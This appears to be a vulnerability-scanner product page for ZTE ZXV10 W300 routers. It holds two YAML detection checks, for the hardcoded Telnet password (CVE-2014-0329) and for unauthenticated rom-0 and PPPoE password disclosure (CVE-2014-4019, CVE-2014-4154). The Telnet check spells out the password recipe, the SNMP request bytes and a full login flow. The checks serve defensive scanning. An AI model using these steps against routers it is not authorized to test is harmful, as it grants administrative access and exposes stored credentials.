ZTE ZXV10 — 2 vulnerability checks
noctis ships 2 vulnerability checks for ZTE ZXV10, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ZTE ZXV10 W300 hardcoded Telnet admin password derived from the MAC address
| CVE | CVE-2014-0329 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | default-credentials — Default credentials |
| Services | telnet |
| Detection | script, set_var, udp_probe, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/zte-zxv10/CVE-2014-0329.yaml |
Reads the router's MAC address over SNMP (community "public", ifPhysAddress.10000), builds the hardcoded admin password from its last four hex digits followed by "airocon", and logs in to the Telnet service as "admin". The finding is confirmed when the router shell's read-only `login show` command prints its account table (Username / Password / Priority) while a second login with a random password is rejected. The table contents are never stored in the finding. Affects the ZTE ZXV10 W300 and the same firmware sold as Asus DSL-N12E, Digicom DG-5524T, Observa RTA01N and PLDT SpeedSurf 504AN.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- UDP datagram probe
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Parses / computes the next value with a Rhai script
- Sends
adminon the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
{{zte_pw}}on the open socket - … and 21 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-0329
- https://www.kb.cert.org/vuls/id/228886
- https://www.exploit-db.com/exploits/31527
Feed source — tests/vulnerabilities/zte-zxv10/CVE-2014-0329.yaml
# ZTE ZXV10 W300 (and OEM twins) — hardcoded Telnet admin password
# "<last 4 MAC hex digits>airocon" (CVE-2014-0329).
#
# The Telnet service of the ZTE ZXV10 W300 ADSL router (firmware 2.1.0) and of
# the same OEM firmware sold as Asus DSL-N12E, Digicom DG-5524T, Observa RTA01N
# and PLDT SpeedSurf 504AN accepts the account "admin" with the password
# "XXXXairocon", where XXXX is the last four hex digits (upper case) of the
# device's MAC address. The MAC is readable by anyone through SNMP (community
# "public", ifPhysAddress.10000), so the password is fully predictable.
#
# Ported from OpenVAS/Greenbone NVT
# 2014/gb_zxv10_w300_hardcoded_credentials_2014.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103903, GPL-2.0-only): SNMPv1 GET of
# 1.3.6.1.2.1.2.2.1.6.10000 with community "public", password = last 4 hex
# digits of the reply + "airocon", Telnet login as admin, "sh" ("ADSL#"),
# "login show" must print the Username / Password / Priority table.
# Same flow as the Nmap NSE script "airocon" (exploit-db 31527).
#
# Deviations from the NASL (stronger detection, documented in the PR):
# * The SNMP agent is taken from the scan's discovered services
# (`service_ports.snmp`) when it was found on another port, else UDP 161
# (the NASL hardcodes Telnet 23 and only reads the SNMP port from its KB).
# * The MAC is only used when the reply really carries ifPhysAddress.10000
# as a 6-byte OCTET STRING (the NASL takes the last 2 bytes of ANY reply,
# an SNMP error included). SNMPv1 first, then SNMPv2c.
# * The Telnet port comes from the scan (the NASL hardcodes 23).
# * Two levels of proof. QoD 97: `login show` printed its
# "Username Password Priority" table header AND a second login with a
# random password was explicitly rejected (fail-closed: the control must
# have reached the password prompt and been refused). A control that gets a
# shell (any password accepted) suppresses the finding. QoD 75: the shell
# prompt came back but the table was not captured, or the control was
# inconclusive.
# * The account table (it lists every password of the router) never reaches
# the finding: the match runs on a fixed placeholder string and the
# evidence carries no MAC digits or password.
# * Late greeting / slow device: prompts that miss the first read are read
# again after a pause, with an IAC WONT answer to the usual Telnet options.
#
# Read-only: "sh" and "login show" only print; the session is then closed
# ("exit"). One wrong-password attempt (the control) is made only after the
# hardcoded login already worked. category: default-credentials so operators
# can exclude credential logins.
uid: 438e87c5-a344-4a57-beda-fd5e4e7259b5
name: "ZTE ZXV10 W300 hardcoded Telnet admin password derived from the MAC address (CVE-2014-0329)"
description: |
Reads the router's MAC address over SNMP (community "public",
ifPhysAddress.10000), builds the hardcoded admin password from its last four
hex digits followed by "airocon", and logs in to the Telnet service as
"admin". The finding is confirmed when the router shell's read-only
`login show` command prints its account table (Username / Password /
Priority) while a second login with a random password is rejected. The table
contents are never stored in the finding. Affects the ZTE ZXV10 W300 and the
same firmware sold as Asus DSL-N12E, Digicom DG-5524T, Observa RTA01N and
PLDT SpeedSurf 504AN.
cves: [CVE-2014-0329]
cvss: 9.3
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [zte, zxv10, w300, asus, dsl-n12e, router, telnet, snmp, hardcoded-credentials, default-credentials, intrusive]
services: [telnet]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-0329"
- "https://www.kb.cert.org/vuls/id/228886"
- "https://www.exploit-db.com/exploits/31527"
steps:
# ----------------------------------------------------------- init
- id: control-password
action: script
store_as: ctl_pw
code: |
"noctis" + rand_str(12)
- id: init-mac
action: set_var
var_name: mac4
var_value: ""
- id: init-snmp2
action: set_var
var_name: snmp2
var_value: {responded: false, response_hex: ""}
- id: init-gate
action: set_var
var_name: gate
var_value: false
- id: init-logged-in
action: set_var
var_name: logged_in
var_value: false
- id: init-table
action: set_var
var_name: table_proof
var_value: false
- id: init-ctl-ran
action: set_var
var_name: ctl_ran
var_value: false
- id: init-ctl
action: set_var
var_name: ctl
var_value: {rejected: false, accepted: false}
- id: init-late
action: set_var
var_name: late
var_value: {response: ""}
- id: init-user-late
action: set_var
var_name: r_user_late
var_value: {response: ""}
- id: init-pass-late
action: set_var
var_name: r_pass_late
var_value: {response: ""}
- id: init-tail-late
action: set_var
var_name: r_tail_late
var_value: {response: ""}
- id: init-shell-out
action: set_var
var_name: shell_out
var_value: ""
# ---------------------------------------------------- SNMP: the MAC
# SNMP agent of the same host: the discovered one when the scan has it,
# else the standard UDP 161.
- id: snmp-port
action: script
store_as: snmp_port
code: |
if "snmp" in service_ports { service_ports["snmp"] } else { 161 }
# SNMPv1 GET 1.3.6.1.2.1.2.2.1.6.10000 (ifPhysAddress.10000), community
# "public" — byte for byte the request of the original check.
- id: snmp-v1
action: udp_probe
port: "{{snmp_port}}"
send_hex: "302c02010004067075626c6963a01f02042dc7b1920201000201003011300f060b2b0601020102020106ce100500"
timeout_secs: 3
store_as: snmp1
# The reply must carry ifPhysAddress.10000 = OCTET STRING of 6 bytes.
- id: mac-v1
action: script
condition: "snmp1.responded == true && type_of(snmp1.response_hex) == \"string\""
store_as: mac4
code: |
let m = eregmatch("^30.*2b0601020102020106ce100406([0-9a-f]{12})", tolower(snmp1.response_hex));
if m.len() > 1 { toupper(substr(m[1], 8, 11)) } else { "" }
- id: snmp-v2c
action: udp_probe
condition: "mac4 == \"\""
port: "{{snmp_port}}"
send_hex: "302c02010104067075626c6963a01f02042dc7b1920201000201003011300f060b2b0601020102020106ce100500"
timeout_secs: 3
store_as: snmp2
- id: mac-v2c
action: script
condition: "mac4 == \"\" && snmp2.responded == true && type_of(snmp2.response_hex) == \"string\""
store_as: mac4
code: |
let m = eregmatch("^30.*2b0601020102020106ce100406([0-9a-f]{12})", tolower(snmp2.response_hex));
if m.len() > 1 { toupper(substr(m[1], 8, 11)) } else { "" }
- id: password
action: script
condition: "mac4 != \"\""
store_as: zte_pw
code: |
mac4 + "airocon"
# ------------------------------------------------------ Telnet login
- id: open
action: tcp_open
handle: tn
condition: "mac4 != \"\""
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
# No "username" prompt yet: refuse the usual Telnet options and read again.
- id: late-banner-wait
action: sleep
condition: "mac4 != \"\" && conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(tolower(conn.banner), \"username\") == \"\")"
duration_ms: 2000
- id: late-banner
action: tcp_send
handle: tn
condition: "mac4 != \"\" && conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(tolower(conn.banner), \"username\") == \"\")"
send_hex: "fffc18fffc20fffc23fffc27"
timeout_secs: 10
store_as: late
- id: gate-check
action: script
condition: "mac4 != \"\" && conn.connected == true"
store_as: gate
code: |
let g = "";
if type_of(conn.banner) == "string" { g += conn.banner; }
if type_of(late.response) == "string" { g += late.response; }
strstr(tolower(g), "username") != ""
- id: send-user
action: tcp_send
handle: tn
condition: "gate == true"
send: "admin\r\n"
timeout_secs: 10
store_as: r_user
- id: late-password-wait
action: sleep
condition: "gate == true && (type_of(r_user.response) != \"string\" || strstr(tolower(r_user.response), \"password\") == \"\")"
duration_ms: 2000
- id: late-password
action: tcp_send
handle: tn
condition: "gate == true && (type_of(r_user.response) != \"string\" || strstr(tolower(r_user.response), \"password\") == \"\")"
send: ""
timeout_secs: 10
store_as: r_user_late
- id: password-prompt
action: script
condition: "gate == true"
store_as: gate
code: |
let p = "";
if type_of(r_user.response) == "string" { p += r_user.response; }
if type_of(r_user_late.response) == "string" { p += r_user_late.response; }
strstr(tolower(p), "password") != ""
- id: send-pass
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{zte_pw}}\r\n"
timeout_secs: 10
store_as: r_pass
# No shell prompt yet (login(1)-style delay): wait and read again.
- id: late-shell-wait
action: sleep
condition: "gate == true && (type_of(r_pass.response) != \"string\" || !ereg(\"[$#>]\\\\s*$\", r_pass.response))"
duration_ms: 2500
- id: late-shell
action: tcp_send
handle: tn
condition: "gate == true && (type_of(r_pass.response) != \"string\" || !ereg(\"[$#>]\\\\s*$\", r_pass.response))"
send: ""
timeout_secs: 10
store_as: r_pass_late
# Rejected ("invalid" / "incorrect" / "fail" / a new user-name or password
# prompt) or no prompt at all: stop before typing anything else.
- id: shell-reached
action: script
condition: "gate == true"
store_as: logged_in
code: |
let p = "";
if type_of(r_pass.response) == "string" { p += r_pass.response + "\n"; }
if type_of(r_pass_late.response) == "string" { p += r_pass_late.response; }
let l = tolower(p);
let rejected = strstr(l, "invalid") != "" || strstr(l, "incorrect") != "" || strstr(l, "fail") != "" || strstr(l, "denied") != "" || strstr(l, "username") != "" || strstr(l, "password") != "";
!rejected && ereg("(?m)[$#>]\\s*$", p)
- id: send-sh
action: tcp_send
handle: tn
condition: "logged_in == true"
send: "sh\r\n"
timeout_secs: 10
store_as: r_sh
- id: send-login-show
action: tcp_send
handle: tn
condition: "logged_in == true"
send: "login show\r\n"
timeout_secs: 10
store_as: r_show
- id: wait-output
action: sleep
condition: "logged_in == true"
duration_ms: 1000
- id: flush
action: tcp_send
handle: tn
condition: "logged_in == true"
send: ""
# Drain read: usually nothing is left, and a read waits up to
# timeout_secs for a first byte — keep it short.
timeout_secs: 3
store_as: r_tail
- id: collect
action: script
condition: "logged_in == true"
store_as: shell_out
code: |
let out = "";
for r in [r_sh, r_show, r_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
- id: late-output-wait
action: sleep
condition: "logged_in == true && !ereg(\"(?i)username\\\\s+password\\\\s+priority\", shell_out)"
duration_ms: 2500
- id: late-output
action: tcp_send
handle: tn
condition: "logged_in == true && !ereg(\"(?i)username\\\\s+password\\\\s+priority\", shell_out)"
send: ""
timeout_secs: 10
store_as: r_tail_late
- id: collect-late
action: script
condition: "logged_in == true && type_of(r_tail_late.response) == \"string\""
store_as: shell_out
code: |
shell_out + "\n" + r_tail_late.response
- id: leave
action: tcp_send
handle: tn
condition: "logged_in == true"
send: "exit\r\n"
timeout_secs: 3
- id: close
action: tcp_close
handle: tn
# Header of the account table: none of these words is in "sh" / "login show".
- id: check-table
action: script
condition: "logged_in == true"
store_as: table_proof
code: |
ereg("(?i)username\\s+password\\s+priority", shell_out)
# --------------------------- control: admin with a random password
# The control only runs its password when it demonstrably reached the
# password prompt (ctl_ran).
- id: init-c-late
action: set_var
var_name: c_late
var_value: {response: ""}
- id: init-c-user-late
action: set_var
var_name: c_user_late
var_value: {response: ""}
- id: init-c-pass-late
action: set_var
var_name: c_pass_late
var_value: {response: ""}
- id: ctl-open
action: tcp_open
handle: ctl
condition: "logged_in == true"
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: ctl_conn
- id: ctl-late-wait
action: sleep
condition: "logged_in == true && ctl_conn.connected == true && (type_of(ctl_conn.banner) != \"string\" || strstr(tolower(ctl_conn.banner), \"username\") == \"\")"
duration_ms: 2000
- id: ctl-late
action: tcp_send
handle: ctl
condition: "logged_in == true && ctl_conn.connected == true && (type_of(ctl_conn.banner) != \"string\" || strstr(tolower(ctl_conn.banner), \"username\") == \"\")"
send_hex: "fffc18fffc20fffc23fffc27"
timeout_secs: 10
store_as: c_late
- id: ctl-user
action: tcp_send
handle: ctl
condition: "logged_in == true && ctl_conn.connected == true"
send: "admin\r\n"
timeout_secs: 10
store_as: c_user
- id: ctl-late-password-wait
action: sleep
condition: "logged_in == true && ctl_conn.connected == true && (type_of(c_user.response) != \"string\" || strstr(tolower(c_user.response), \"password\") == \"\")"
duration_ms: 2000
- id: ctl-late-password
action: tcp_send
handle: ctl
condition: "logged_in == true && ctl_conn.connected == true && (type_of(c_user.response) != \"string\" || strstr(tolower(c_user.response), \"password\") == \"\")"
send: ""
timeout_secs: 10
store_as: c_user_late
- id: ctl-ran-check
action: script
condition: "logged_in == true && ctl_conn.connected == true"
store_as: ctl_ran
code: |
let g = "";
if type_of(ctl_conn.banner) == "string" { g += ctl_conn.banner; }
if type_of(c_late.response) == "string" { g += c_late.response; }
let p = "";
if type_of(c_user.response) == "string" { p += c_user.response; }
if type_of(c_user_late.response) == "string" { p += c_user_late.response; }
strstr(tolower(g), "username") != "" && strstr(tolower(p), "password") != ""
- id: ctl-pass
action: tcp_send
handle: ctl
condition: "ctl_ran == true"
send: "{{ctl_pw}}\r\n"
timeout_secs: 10
store_as: c_pass
# Same wait as the real login: a slow accept-any login must not look like
# a rejection.
- id: ctl-late-shell-wait
action: sleep
condition: "ctl_ran == true"
duration_ms: 2500
- id: ctl-late-shell
action: tcp_send
handle: ctl
condition: "ctl_ran == true"
send: ""
timeout_secs: 10
store_as: c_pass_late
- id: ctl-close
action: tcp_close
handle: ctl
# Same tests as the real login. Fail-closed: QoD 97 needs an explicit
# rejection of the random password; a shell prompt without rejection means
# any password works (honeypot, broken login) → no finding; anything else is
# inconclusive → QoD 75. Nothing is typed after the control password, so a
# rejected control never turns into a second / third failed login.
- id: ctl-check
action: script
condition: "ctl_ran == true"
store_as: ctl
code: |
let p = "";
for r in [c_pass, c_pass_late] {
if type_of(r.response) == "string" { p += r.response + "\n"; }
}
let l = tolower(p);
let rejected = strstr(l, "invalid") != "" || strstr(l, "incorrect") != "" || strstr(l, "fail") != "" || strstr(l, "denied") != "" || strstr(l, "username") != "" || strstr(l, "password") != "";
#{ rejected: rejected, accepted: !rejected && ereg("(?m)[$#>]\\s*$", p) }
# The match runs on a fixed string: the shell output lists every router
# password and must not be copied into the finding.
- id: proof-text
action: script
condition: "logged_in == true"
store_as: proof
code: |
if table_proof { "login show printed the account table (contents withheld)" } else { "shell prompt reached" }
# ------------------------------------------------------------- findings
- id: finding-table
action: match
source: proof
pattern: "account table"
condition: "table_proof == true && ctl.rejected == true"
on_match:
finding:
title: "ZTE ZXV10 W300 hardcoded Telnet admin password (MAC + 'airocon')"
description: "The router's MAC address was read over SNMP with the community 'public', and the Telnet service accepted the account 'admin' with the hardcoded password built from it (last four MAC hex digits + 'airocon'). The router shell's read-only `login show` command printed its account table, while a random password was rejected. Anyone on the network gets full administrative access to the router (CVE-2014-0329)."
remediation: "Update the router firmware to a release without the hardcoded password, or replace the device; disable Telnet and SNMP (or change the SNMP community) and block TCP/23 and UDP/161 from untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "SNMP ifPhysAddress.10000 read with community public; Telnet login admin:<last 4 MAC hex digits>airocon accepted, random password rejected; `login show` printed the Username/Password/Priority table (contents withheld)"
stop: true
- id: finding-prompt
action: match
source: proof
pattern: "account table|shell prompt"
condition: "logged_in == true && ctl.accepted == false && (table_proof == false || ctl.rejected == false)"
on_match:
finding:
title: "ZTE ZXV10 W300 hardcoded Telnet admin password (MAC + 'airocon')"
description: "The router's MAC address was read over SNMP with the community 'public', and the Telnet service accepted the account 'admin' with the hardcoded password built from it (last four MAC hex digits + 'airocon') and showed a shell prompt. Either the account table of `login show` was not captured, or the check that a random password is rejected could not run (CVE-2014-0329)."
remediation: "Update the router firmware to a release without the hardcoded password, or replace the device; disable Telnet and SNMP (or change the SNMP community) and block TCP/23 and UDP/161 from untrusted networks."
confidence_delta: 0.50
qod: 75
evidence: "SNMP ifPhysAddress.10000 read with community public; Telnet login admin:<last 4 MAC hex digits>airocon reached the shell (random password explicitly rejected: {{ctl.rejected}})"
stop: trueZTE ZXV10 W300 unauthenticated rom-0 backup and PPPoE password disclosure
| CVE | CVE-2014-4019, CVE-2014-4154 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/zte-zxv10/w300-rom0-wan-password-disclosure.yaml |
Checks whether the router's web server hands out sensitive files without authentication. The test sends three GET requests without credentials: `/` to read the HTTP Basic realm (the ZTE ZXV10 W300 protects its pages with realm "ZXV10 W300"; the realm is also read from the replies to two random-name control requests), `/rom-0`, and `/basic/tc2wanfun.js`. The rom-0 finding fires when `/rom-0` answers 200 with a ZyNOS configuration backup, recognised by the "dbgarea" and "spt.dat" names in its binary block table; that backup contains the compressed router configuration, including the admin password. The tc2wanfun.js finding fires when that script answers 200 and assigns the `pwdppp` variable, which carries the PPPoE/PPPoA account password once an administrator has opened the router's web interface. On a ZXV10 W300 the findings name CVE-2014-4019 and CVE-2014-4154; on another router with the same firmware base they are reported without a CVE. No file content, and no password, is copied into the findings (the PPP password is only reported as set or empty).
How noctis detects it
- HTTP(S) request
GET / - HTTP(S) request
GET /rom-0 - HTTP(S) request
GET /basic/tc2wanfun.js - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{v.rom_rand}} - HTTP(S) request
GET {{v.js_rand}} - Parses / computes the next value with a Rhai script
- Checks
v.rom_phfor<rom-0 backup withheld>→ finding QoD 75: ZTE ZXV10 W300 rom-0 configuration backup downloadable without authentication - Checks
v.js_phfor<pwdppp withheld>→ finding QoD 75: ZTE ZXV10 W300 PPPoE/PPPoA password readable in /basic/tc2wanfun.js without authentication - Checks
v.rom_phfor<rom-0 backup withheld>→ finding QoD 75: ZyNOS router rom-0 configuration backup downloadable without authentication - Checks
v.js_phfor<pwdppp withheld>→ finding QoD 75: Router PPPoE/PPPoA password readable in /basic/tc2wanfun.js without authentication
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-4019
- https://nvd.nist.gov/vuln/detail/CVE-2014-4154
- https://nvd.nist.gov/vuln/detail/CVE-2014-4018
- https://nvd.nist.gov/vuln/detail/CVE-2014-4155
- https://www.exploit-db.com/exploits/33803
Feed source — tests/vulnerabilities/zte-zxv10/w300-rom0-wan-password-disclosure.yaml
# ZTE ZXV10 W300 — unauthenticated rom-0 backup download (CVE-2014-4019) and
# PPPoE/PPPoA password disclosure in /basic/tc2wanfun.js (CVE-2014-4154).
#
# The RomPager web server of the ZTE ZXV10 W300 ADSL router (firmware
# W300V1.0.0a_ZRD_LK) protects its pages with HTTP Basic authentication
# (realm "ZXV10 W300") but serves two files without it:
# * /rom-0 — the ZyNOS configuration backup. Its block table names the
# "dbgarea" and "spt.dat" blocks; spt.dat holds the LZS-compressed
# configuration, admin password included (EDB-33803, CVE-2014-4019).
# * /basic/tc2wanfun.js — the script behind the "Internet" setup page,
# which defines `pwdppp`, the PPPoE/PPPoA account password, once an
# administrator has logged in since the last reboot (CVE-2014-4154).
#
# Ported from OpenVAS/Greenbone NASL 2014/gb_zte_router_multiple_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804470, GPL-2.0-only): headers of the web server
# must carry `WWW-Authenticate: Basic realm="ZXV10 W300"`, then GET /rom-0 must
# contain both "dbgarea" and "spt.dat".
#
# Better than the NASL:
# * CVE-2014-4154 is actually tested: GET /basic/tc2wanfun.js without
# credentials must answer 200 with a `pwdppp = "..."` assignment. The NASL
# lists the CVE but never sends that request.
# * rom-0 must answer 200 (not the body of an error page) and both block
# names must sit NUL-padded in its binary block table, not in a text page.
# * The realm is also read from the controls' 401 replies, so a firmware
# that redirects `/` instead of answering 401 still gets its CVEs.
# * The same unauthenticated rom-0 / tc2wanfun.js exposure on another
# ZyNOS / TrendChip router (TP-Link, D-Link, Huawei... — no "ZXV10 W300"
# realm) is reported too, as a finding without a CVE, where the NASL exits.
# * Nothing read off the router reaches the finding: the match steps run on
# fixed placeholder strings; the PPP password is only reported as set/empty.
#
# Not covered here: CVE-2014-4018 (default admin/admin login — a credential
# check, category default-credentials) and CVE-2014-4155 (CSRF on
# /Forms/tools_admin_1 — needs a victim browser, not remotely testable).
#
# Read-only: three GET requests, no login, nothing written on the router.
uid: 3e911282-3c48-48d8-8748-1fb3f289360d
name: "ZTE ZXV10 W300 unauthenticated rom-0 backup and PPPoE password disclosure"
description: |
Checks whether the router's web server hands out sensitive files without
authentication. The test sends three GET requests without credentials: `/`
to read the HTTP Basic realm (the ZTE ZXV10 W300 protects its pages with
realm "ZXV10 W300"; the realm is also read from the replies to two
random-name control requests), `/rom-0`, and `/basic/tc2wanfun.js`. The rom-0 finding fires
when `/rom-0` answers 200 with a ZyNOS configuration backup, recognised by
the "dbgarea" and "spt.dat" names in its binary block table; that backup contains the
compressed router configuration, including the admin password. The
tc2wanfun.js finding fires when that script answers 200 and assigns the
`pwdppp` variable, which carries the PPPoE/PPPoA account password once an
administrator has opened the router's web interface. On a ZXV10 W300 the
findings name CVE-2014-4019 and CVE-2014-4154; on another router with the
same firmware base they are reported without a CVE. No file content, and no
password, is copied into the findings (the PPP password is only reported as
set or empty).
cves: [CVE-2014-4019, CVE-2014-4154]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.30
tags: [zte, zxv10, w300, router, adsl, rompager, zynos, rom-0, config-disclosure, credential-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-4019"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-4154"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-4018"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-4155"
- "https://www.exploit-db.com/exploits/33803"
steps:
# 0 — pre-init every stored result: a failed request never sets its store_as.
- id: init-root
action: set_var
var_name: root
var_value: ""
- id: init-rom
action: set_var
var_name: rom
var_value: ""
- id: init-js
action: set_var
var_name: js
var_value: ""
- id: init-ctl-rom
action: set_var
var_name: ctl_rom
var_value: ""
- id: init-ctl-js
action: set_var
var_name: ctl_js
var_value: ""
# 1 — product: the Basic realm of the web interface.
- id: probe-root
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: root
# 2 — the ZyNOS configuration backup, without credentials.
- id: probe-rom0
action: http_request
method: GET
path: "/rom-0"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: rom
# 3 — the WAN setup script that carries the PPPoE/PPPoA password.
- id: probe-wanjs
action: http_request
method: GET
path: "/basic/tc2wanfun.js"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: js
# 4 — verdicts. Only booleans, a length and fixed placeholder texts leave
# this step; nothing of either body is copied.
- id: parse
action: script
store_as: v
code: |
// rom-0: 200, not an HTML page, and both names sit in the binary block
// table, where each fixed-width name is NUL-padded (text quoting them is not).
fn is_rom0(r) {
if type_of(r) != "map" || r.status != 200 || type_of(r.body) != "string" { return false; }
let b = r.body;
!ereg("(?i)^\\s*<", b) && stridx(b, "dbgarea\x00") >= 0 && stridx(b, "spt.dat\x00") >= 0
}
// tc2wanfun.js: 200, a script (not an HTML page) assigning pwdppp.
fn wan_pw(r) {
if type_of(r) != "map" || r.status != 200 || type_of(r.body) != "string" { return (); }
if ereg("(?i)^\\s*<", r.body) { return (); }
let m = eregmatch("\\bpwdppp\\s*=\\s*[\"']([^\"'\\r\\n]*)[\"']", r.body);
if m.len() > 1 { m[1] } else { () }
}
let out = #{ rom0: false, wanjs: false, pwstate: "",
rom_ph: "<rom-0 backup withheld>", js_ph: "<pwdppp withheld>",
rom_rand: "", js_rand: "" };
out.rom0 = is_rom0(rom);
let pw = wan_pw(js);
if type_of(pw) == "string" {
out.wanjs = true;
out.pwstate = if pw.len() > 0 { "set (value withheld)" } else { "empty at scan time" };
}
// Random names for the controls (a server answering every path alike).
out.rom_rand = "/rom-" + rand_hex(6);
out.js_rand = "/basic/" + rand_hex(6) + ".js";
out
# 5 — controls: a random sibling name must NOT give the same answer.
- id: control-rom0
action: http_request
condition: "v.rom0 == true"
method: GET
path: "{{v.rom_rand}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_rom
- id: control-wanjs
action: http_request
condition: "v.wanjs == true"
method: GET
path: "{{v.js_rand}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ctl_js
# A control that errors or times out leaves its result "" and does not
# suppress the finding: the main probe has just been answered, so only a
# control that gives the same answer counts against it.
# The ZXV10 W300 is recognised by its Basic realm, read from `/` and from the
# controls' replies (every page but the two exposed files is protected, so a
# firmware that redirects `/` still shows the realm on the random names).
- id: verdict
action: script
store_as: ok
code: |
fn realm_w300(r) {
if type_of(r) != "map" || type_of(r.headers) != "map" || !("www-authenticate" in r.headers) { return false; }
ereg("(?i)^\\s*Basic\\s+realm=\"?ZXV10 W300\"?\\s*(,|$)", "" + r.headers["www-authenticate"])
}
let rom_any = type_of(ctl_rom) == "map" && ctl_rom.status == 200 && type_of(ctl_rom.body) == "string"
&& stridx(ctl_rom.body, "dbgarea") >= 0 && stridx(ctl_rom.body, "spt.dat") >= 0;
let js_any = type_of(ctl_js) == "map" && ctl_js.status == 200 && type_of(ctl_js.body) == "string"
&& ereg("\\bpwdppp\\s*=", ctl_js.body);
#{ rom0: v.rom0 && !rom_any, wanjs: v.wanjs && !js_any,
w300: realm_w300(root) || realm_w300(ctl_rom) || realm_w300(ctl_js) }
# 6 — ZXV10 W300: rom-0 backup (CVE-2014-4019).
- id: report-rom0-w300
action: match
condition: "ok.w300 == true && ok.rom0 == true"
source: v.rom_ph
pattern: '<rom-0 backup withheld>'
on_match:
finding:
title: "ZTE ZXV10 W300 rom-0 configuration backup downloadable without authentication"
cves: [CVE-2014-4019]
cvss: 7.5
severity: high
confidence_delta: 0.55
qod: 75
evidence: "Router with Basic realm \"ZXV10 W300\" at {{target_host}}:{{port}}: unauthenticated GET /rom-0 returned 200 with a ZyNOS configuration backup (dbgarea and spt.dat blocks present; content withheld)"
remediation: "Block access to /rom-0 from untrusted networks (disable WAN-side web management), change the admin password, and replace the router if no fixed firmware is available."
# 7 — ZXV10 W300: PPPoE/PPPoA password script (CVE-2014-4154).
- id: report-wanjs-w300
action: match
condition: "ok.w300 == true && ok.wanjs == true"
source: v.js_ph
pattern: '<pwdppp withheld>'
on_match:
finding:
title: "ZTE ZXV10 W300 PPPoE/PPPoA password readable in /basic/tc2wanfun.js without authentication"
cves: [CVE-2014-4154]
cvss: 5.0
severity: medium
confidence_delta: 0.55
qod: 75
evidence: "Router with Basic realm \"ZXV10 W300\" at {{target_host}}:{{port}}: unauthenticated GET /basic/tc2wanfun.js returned 200 and assigns pwdppp, currently {{v.pwstate}}"
remediation: "Restrict the web interface to the LAN, change the PPPoE/PPPoA password with the ISP, and replace the router if no fixed firmware is available."
# 8 — same exposure on another ZyNOS / TrendChip router: no CVE.
- id: report-rom0-generic
action: match
condition: "ok.w300 == false && ok.rom0 == true"
source: v.rom_ph
pattern: '<rom-0 backup withheld>'
on_match:
finding:
title: "ZyNOS router rom-0 configuration backup downloadable without authentication"
cves: []
cvss: 7.5
severity: high
confidence_delta: 0.55
qod: 75
evidence: "Unauthenticated GET /rom-0 at {{target_host}}:{{port}} returned 200 with a ZyNOS configuration backup (dbgarea and spt.dat blocks present; content withheld)"
remediation: "Block access to /rom-0 from untrusted networks (disable WAN-side web management), change the admin password, and update or replace the router."
- id: report-wanjs-generic
action: match
condition: "ok.w300 == false && ok.wanjs == true"
source: v.js_ph
pattern: '<pwdppp withheld>'
on_match:
finding:
title: "Router PPPoE/PPPoA password readable in /basic/tc2wanfun.js without authentication"
cves: []
cvss: 5.0
severity: medium
confidence_delta: 0.55
qod: 75
evidence: "Unauthenticated GET /basic/tc2wanfun.js at {{target_host}}:{{port}} returned 200 and assigns pwdppp, currently {{v.pwstate}}"
remediation: "Restrict the web interface to the LAN, change the PPPoE/PPPoA password with the ISP, and update or replace the router."